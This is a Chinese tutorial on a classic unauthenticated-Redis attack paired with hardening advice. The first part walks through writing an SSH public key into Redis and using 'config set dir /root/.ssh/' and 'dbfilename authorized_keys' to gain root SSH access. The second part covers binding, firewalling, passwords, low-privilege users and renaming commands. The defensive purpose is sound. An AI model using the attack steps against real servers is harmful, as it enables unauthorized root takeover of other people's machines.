Contents

Redis的一个简单漏洞攻击与防范

Redis是目前使用最为广泛的缓存中间件,使用起来虽然方便、简洁但如果不加一些安全限制的使用,便会导致一些问题。之前我的一位朋友,因为在自己的云服务器上自行部署了Redis用来学习,不久后他的服务器便被人搞去挖矿了…本文讲述Redis简单的漏洞攻击流程以及对应的防范方法。

简单的攻击流程

  • 如果本地没有配置过ssh,先生成公钥和私钥

      ssh-keygen -t rsa
    
  • 将公钥写入一个txt文件

    (echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > test.txt
    
  • 连接Redis并把公钥文件写入。

    cat test.txt | redis-cli -h {server.ip} -x set attack_key
    
  • 登入未受保护的Redis,进行如下命令操作。通过config命令修改了持久化目录及持久化文件名,使持久化的DB文件刚好为root用户SSK key存放的文件,然后save将公钥追加到authorizew_keys文件的末尾,也就上传了公钥。之后便可以使用SSH以root用户登录目标服务器。

    redis-cli -h {server.ip}
    # 下面都是Redis Client的交互命令
    config set dir /root/.ssh/
    config set dbfilename "authorized_keys"
    save
    
  • 拿到root用户,之后自然就是为所欲为了~

线上Redis服务安全加固

Redis在默认情况下会存在未授权访问漏洞,如果Redis的运行用户为root,黑客可以向root账号导入SSH公钥,从而直接通过SSH入侵服务器。

1.限制访问源只能为本地或指定IP

在redis.conf文件中写入一行记录:bind 127.0.0.1 ,然后重启Redis生效。也存在例外情况,如果Redis以root用户运行,攻击者借助已有的web shell,可以利用该Redis来反弹shell实现提权。?

2.设置防火墙策略

通过iptables,仅允许指定的ip来访问Redis服务

iptables -A INPUT -s x.x.x.x -p tcp --dport 6379 -j ACCEPT

3.设置访问密码

在redis.conf中写入requirepass {your_password},设置一个安全度高的密码。

4.使用低权限用户运行Redis

使用低权限用户运行Redis,并禁用该账号的远程登录,使用新用户并重启Redis生效。

useradd -M -s /sbin/nologin {username}

5.屏蔽重要指令

可以将一些重要命令设置为空,即禁用,也可以重命名成更复杂的名字。修改完成后需要重启Redis生效。

rename-command config ""
rename-command flushall ""
rename-command flushdb ""
rename-command shutdown shutdown_wxj

在Redis 3.0.2版本以下存在EVAL沙箱逃逸漏洞,攻击者可以通过该漏洞执行任意Lua代码,可以通过rename config命令和在redis.conf中限制访问源来规避风险。